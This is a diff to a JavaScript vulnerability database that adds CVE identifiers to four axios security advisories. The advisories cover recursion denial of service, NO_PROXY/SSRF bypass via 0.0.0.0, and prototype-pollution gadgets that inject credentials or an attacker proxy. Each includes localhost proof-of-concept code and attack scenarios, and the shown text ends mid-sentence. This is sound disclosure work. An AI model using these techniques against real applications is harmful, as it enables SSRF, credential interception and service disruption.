diff --git a/repository/jsrepository-master.json b/repository/jsrepository-master.json index 81717e80..3ffdd329 100644 --- a/repository/jsrepository-master.json +++ b/repository/jsrepository-master.json @@ -8445,7 +8445,10 @@ "summary": "Axios: Excessive recursion in formDataToJSON can cause denial of service", "details": "## Summary\nAxios versions `0.28.0` and later contain uncontrolled recursion in `formDataToJSON`, the helper behind the public `axios.formToJSON()` / named `formToJSON` API and the default request transform used when FormData is sent with an `application/json` content type.\n\nApplications are affected when they pass attacker-controlled `FormData` field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw `RangeError: Maximum call stack size exceeded`, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.\n\n## Impact\nThe impact is denial of service against applications that process untrusted `FormData` field names through axios' FormData-to-JSON conversion.\n\nThe vulnerable path is not reached by merely installing axios, by normal multipart `FormData` pass-through, or by ordinary axios requests that do not request JSON serialisation of `FormData`. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of `formToJSON()` throws synchronously.\n\nServer-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with `formToJSON()` or sends them through axios as JSON.\n\n## Affected Functionality\nAffected APIs and paths:\n- `axios.formToJSON(formData)`\n- `import { formToJSON } from \"axios\"`\n- `lib/helpers/formDataToJSON.js`\n- axios default `transformRequest` when `data` is `FormData` and `Content-Type` contains `application/json`\n\nUnaffected or lower-risk paths:\n- Normal multipart `FormData` requests without `JSON Content-Type`\n- `toFormData()` object-to-FormData serialisation, which already has a `maxDepth` guard\n- Axios versions before 0.28.0, where this helper and public API were not present\n\n## Technical Details\n`lib/helpers/formDataToJSON.js` parses a form field name into path segments with `parsePropPath()`. For a key such as `a[x][x][x]`, each bracketed segment becomes another path element.\n\n`formDataToJSON()` then calls the nested `buildPath(path, value, target, index)` function. `buildPath()` recursively calls itself once for each path segment and does not enforce a maximum depth:\n\n`const result = buildPath(path, value, target[name], index);`\n\nA key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws `RangeError: Maximum call stack size exceeded`.\n\nAxios already applies a depth guard to the inverse serializer in `lib/helpers/toFormData.js`, where `maxDepth` defaults to 100 and exceeding it throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`. `formDataToJSON()` does not currently have equivalent protection.\n\n## Proof of Concept of Attack\n```js\nimport { formToJSON } from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\ntry {\n formToJSON(fd);\n console.log(\"not vulnerable\");\n} catch (err) {\n console.log(`${err.constructor.name}: ${err.message}`);\n}\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\nThe axios request transform path can also be reached before network I/O:\n\n```js\nimport axios from \"axios\";\n\nconst fd = new FormData();\nfd.append(\"a\" + \"[x]\".repeat(15000), \"value\");\n\nawait axios\n .post(\"http://127.0.0.1:1/\", fd, {\n headers: { \"Content-Type\": \"application/json\" }\n })\n .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));\n```\n\nExpected vulnerable result:\n\nRangeError: Maximum call stack size exceeded\n\n## Workarounds\nApplications can avoid the vulnerable path by not converting attacker-controlled `FormData` to JSON with axios.\n\nIf conversion is required before a fixed axios release is available, validate `FormData` field names before calling `formToJSON()` or before sending `FormData` with `Content-Type: application/json`. Reject keys whose parsed nesting depth exceeds the application's expected schema.\n\nFor axios requests carrying untrusted `FormData`, avoid setting `Content-Type: application/json`; leaving the data as multipart FormData bypasses `formDataToJSON()`.\n\nCatching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.\n\n
\nOriginal Report\n# Axios SSRF via Incomplete Loopback Detection\n## CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n---\n\n## 1. Classification\n\n| CWE | CVSS Score | Severity | Type |\n|-----|-----------|----------|------|\n| CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery |\n\n## 2. Description\n\n### Summary\nThe `shouldBypassProxy()` function in Axios fails to recognise `0.0.0.0`, `::`, and `::ffff:0.0.0.0` as loopback addresses. When `NO_PROXY=localhost` is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.\n\n### Root Cause\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n**`isIPv4Loopback` (lines 3-8):** Only checks for `127.x.x.x` addresses by inspecting `parts[0] !== '127'`. The `0.0.0.0` address has `parts[0] === '0'`, so it falls through as non-loopback, even though on Linux `0.0.0.0` routes to the loopback interface.\n\n**`isIPv6Loopback` (lines 10-38):** Only checks `host === '::1'`. The `::` address (unspecified IPv6) also routes to the loopback, but is not recognised.\n\n**Attack Flow:**\n```\nisIPv4Loopback (line 3) — fails for 0.0.0.0\n → isLoopback (line 44) — wraps both checks, returns false\n → shouldBypassProxy (line 127) — PUBLIC API, exported default\n → lib/adapters/http.js (line 190) — Node.js HTTP adapter\n```\n\n### Attack Vector\n- **Access Vector:** Network (AV:N)\n- **Access Complexity:** Low (AC:L) — attacker only needs control of a URL\n- **Privileges Required:** None (PR:N)\n- **User Interaction:** None (UI:N)\n\n## 3. Proof of Concept\n\n### Phase 1: Logic Verification\n\n```javascript\nimport shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';\n\n// Normal loopback — correctly returns true (bypasses proxy)\nshouldBypassProxy('http://127.0.0.1:9999/'); // → true\n\n// Vulnerable — returns false (goes through proxy!)\nshouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::]:9999/'); // → false ← SSRF\nshouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF\n```\n\n### Phase 2: Docker E2E Reproduction\n\nA full 3-container Docker reproduction was created and tested:\n\n- **Proxy container:** Simple HTTP forward proxy on port 8888\n- **Internal container:** Internal service on port 9999 (simulates sensitive internal resource)\n- **Attacker container:** Runs the test script with Axios source mounted\n\n**Reproduction steps:**\n```bash\ncd /tmp/deep-e2e\ndocker compose up -d\ndocker compose exec attacker node test-ssrf.js\n```\n\n**Results:**\n- Test 1: `127.0.0.1 + NO_PROXY=localhost` → BYPASS (correct) \n- Test 2: `0.0.0.0 + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 3: `[::] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n- Test 4: `[::ffff:0.0.0.0] + NO_PROXY=localhost` → VIA_PROXY (SSRF) \n\n### Phase 3: Actual Axios Client\n\nThe real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:\n- Axios with `proxy: { host: 'proxy', port: 8888 }` \n- Setting `NO_PROXY=localhost` and requesting `http://0.0.0.0:9999/`\n- Result: Axios forwarded the request through the proxy instead of bypassing it\n\n## 4. Impact\n\n### Attack Scenario\n1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)\n2. The Axios client is configured with a proxy (e.g., corporate proxy) and `NO_PROXY=localhost` to protect internal services\n3. Attacker supplies `http://0.0.0.0:8080/admin` as the target URL\n4. Axios sends the request through the proxy\n5. The proxy resolves `0.0.0.0` → the proxy's own loopback → reaches the internal admin service on port 8080\n\n### Potential Consequences\n- **Information disclosure (C:L):** Internal service responses become accessible\n- **Integrity impact (I:L):** Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)\n- **Availability impact (A:L):** Limited — depends on internal service behavior\n\n### Likelihood\n- **High** — proxy bypass is a common pattern in microservice architectures\n- **Medium** — requires attacker control of a URL (not always available)\n\n## 5. Remediation\n\n### Code Fix\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\nfunction isIPv4Loopback(host) {\n if (host === '0.0.0.0') return true; // ADD THIS LINE\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every(p => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n}\n\nfunction isIPv6Loopback(host) {\n if (host === '::1' || host === '::') return true; // ADD '::'\n // ... rest of implementation\n}\n```\n\n### Workarounds\n- Add `0.0.0.0` and `::` to the `NO_PROXY` environment variable explicitly\n- Use `127.0.0.1` instead of `0.0.0.0` in all internal service URLs\n- Implement URL validation to reject `0.0.0.0` and `::` before passing to Axios", "identifiers": { - "githubID": "GHSA-42h9-826w-cgv3" + "githubID": "GHSA-42h9-826w-cgv3", + "CVE": [ + "CVE-2026-67313" + ] }, "severity": "medium", "cwe": [ @@ -8476,7 +8479,10 @@ "summary": "Axios: Nested axios option objects can consume polluted prototype values", "details": "## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || '';\nconst password = configAuth.password || '';\nauth = username + ':' + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options && options.encode) || encode;\nconst serializeFn = _options && _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst user = 'attacker';\nconst pass = 'exfil';\n\nObject.defineProperty(Object.prototype, 'username', {\n value: user,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'password', {\n value: pass,\n configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true\n});\n\nconst server = http.createServer((req, res) => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({\n authorization: req.headers.authorization || null,\n url: req.url\n }));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\n\ntry {\n const port = server.address().port;\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored' }\n });\n\n console.log(response.data);\n} finally {\n await new Promise((resolve) => server.close(resolve));\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n
\nOriginal Report\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n function getMergedValue(target, source, prop, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({ caseless }, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth — lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n if (auth) {\n headers.set(\n 'Authorization',\n 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n );\n }\n```\n\nNode HTTP adapter Basic auth — lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n // HTTP basic authentication\n let auth = undefined;\n const configAuth = own('auth');\n if (configAuth) {\n const username = configAuth.username || '';\n const password = configAuth.password || '';\n auth = username + ':' + password;\n }\n```\n\nparamsSerializer reads — lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n if (!params) {\n return url;\n }\n const _encode = (options && options.encode) || encode;\n const _options = utils.isFunction(options)\n ? {\n serialize: options,\n }\n : options;\n const serializeFn = _options && _options.serialize;\n let serializedParams;\n if (serializeFn) {\n serializedParams = serializeFn(params, _options);\n } else {\n serializedParams = utils.isURLSearchParams(params)\n ? params.toString()\n : new AxiosURLSearchParams(params, _options).toString(_encode);\n }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst ATTACKER_USER = 'attacker';\nconst ATTACKER_PASS = 'exfil';\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, 'username', {\n value: ATTACKER_USER,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'password', {\n value: ATTACKER_PASS,\n configurable: true,\n});\nObject.defineProperty(Object.prototype, 'serialize', {\n value: () => 'polluted=1',\n configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) => {\n const captured = {\n authorization: req.headers['authorization'] || null,\n url: req.url,\n };\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\ntry {\n // Application code: passes nested *placeholder* option objects that have\n // no own auth/serializer properties. Without prototype pollution this is\n // a no-op. With prototype pollution it becomes attacker-controlled state.\n const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n auth: {},\n paramsSerializer: {},\n params: { unused: 'ignored-by-polluted-serializer' },\n });\n\n console.log('--- PoC: nested-option prototype-pollution gadgets ---');\n console.log('Server saw:', JSON.stringify(response.data));\n\n const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n const urlRewritten = response.data.url === '/demo?polluted=1';\n\n if (authLeaked && urlRewritten) {\n console.log(\n 'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +\n 'Object.prototype values into the outbound request.'\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');\n console.log(' authLeaked =', authLeaked);\n console.log(' urlRewritten =', urlRewritten);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // Restore Object.prototype so a noisy exit/process state cannot affect\n // anything else accidentally sharing the runtime.\n delete Object.prototype.username;\n delete Object.prototype.password;\n delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n
", "identifiers": { - "githubID": "GHSA-7q8q-rj6j-mhjq" + "githubID": "GHSA-7q8q-rj6j-mhjq", + "CVE": [ + "CVE-2026-67319" + ] }, "severity": "medium", "cwe": [ @@ -8506,7 +8512,10 @@ "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios", "details": "## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));\n```\n\nBecause `isLoopback('0.0.0.0')` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from './index.js';\n\nconst listen = (handler, host = '127.0.0.1') =>\n new Promise((resolve) => {\n const server = http.createServer(handler);\n server.listen(0, host, () => resolve(server));\n });\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst origin = await listen((req, res) => res.end('origin'), '0.0.0.0');\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) => {\n proxyRequests += 1;\n res.end('proxied');\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = 'localhost,127.0.0.1,::1';\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n await close(origin);\n await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n
\nOriginal Report\n\n### Summary\n`axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`>= 1.15.0, <= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 — static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set\n if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0\n return isIPv6Loopback(host);\n};\n\nisLoopback('0.0.0.0') returns false.\n\nNode's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n'use strict';\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set(['localhost']);\n\nconst isIPv4Loopback = (host) => {\n const parts = host.split('.');\n if (parts.length !== 4) return false;\n if (parts[0] !== '127') return false;\n return parts.every((p) => /^\\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);\n};\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised\nconsole.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe)\nconsole.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true\nconsole.log(isLoopback('127.0.0.1')); // → true ← correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0 ← NOT normalised by URL parser\n127.0.0.1 ← octal normalised correctly\n127.0.0.1 ← decimal normalised correctly\nfalse ← 0.0.0.0 not detected as loopback ⚠\ntrue ← 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n…can be bypassed by supplying http://0.0.0.0/. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set(['localhost']);\n+ const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) => host === '0.0.0.0';\n\nconst isLoopback = (host) => {\n if (!host) return false;\n if (LOOPBACK_HOSTNAMES.has(host)) return true;\n if (isIPv4Loopback(host)) return true;\n if (isIPv4Unspecified(host)) return true; // add this line\n return isIPv6Loopback(host);\n};\n
", "identifiers": { - "githubID": "GHSA-f4gw-2p7v-4548" + "githubID": "GHSA-f4gw-2p7v-4548", + "CVE": [ + "CVE-2026-67315" + ] }, "severity": "medium", "cwe": [ @@ -8537,7 +8546,10 @@ "summary": "Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning", "details": "## Summary\n\nAxios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.\n\nRecent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.\n\n## Impact\n\nIn a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.\n\nThe highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.\n\nThis does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.\n\n## Affected Functionality\n\nAffected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage.\n\nThe relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:\n\n```js\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n```\n\nUnaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior.\n\n`lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.\n\n`lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.\n\n`lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from './index.js';\nimport http from 'node:http';\n\nfor (const key of [\n 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n 'http_proxy', 'https_proxy', 'all_proxy',\n 'NO_PROXY', 'no_proxy'\n]) {\n delete process.env[key];\n}\n\nconst listen = (handler) => new Promise((resolve, reject) => {\n const server = http.createServer(handler);\n server.once('error', reject);\n server.listen(0, '127.0.0.1', () => resolve(server));\n});\n\nconst close = (server) => new Promise((resolve) => server.close(resolve));\n\nconst targetHits = [];\nconst proxyHits = [];\n\nconst target = await listen((req, res) => {\n targetHits.push(req.url);\n res.end('target');\n});\n\nconst proxy = await listen((req, res) => {\n let body = '';\n req.on('data', (chunk) => body += chunk);\n req.on('end', () => {\n proxyHits.push({\n url: req.url,\n authorization: req.headers.authorization,\n host: req.headers.host,\n body\n });\n res.setHeader('content-type', 'application/json');\n res.end('{\"server\":\"proxy\"}');\n });\n});\n\nObject.prototype.proxy = {\n protocol: 'http',\n host: '127.0.0.1',\n port: proxy.address().port\n};\n\nconst api = axios.create();\n\napi.interceptors.request.use((config) => ({\n ...config,\n headers: {\n ...config.headers,\n 'X-App': 'demo'\n }\n}));\n\ntry {\n const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n const res = await api.post(\n url,\n {secret: 'request-body-secret'},\n {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}\n );\n\n console.log({\n response: res.data,\n targetHits,\n proxyHits,\n finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')\n });\n} finally {\n delete Object.prototype.proxy;\n await close(target);\n await close(proxy);\n}\n```\n\nExpected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body.\n\n## Workarounds\n\nSet an own `proxy: false` on affected requests or on an axios instance when proxy support is not required.\n\nAvoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.\n\nUse the Node fetch adapter for affected requests where its behavior is compatible with 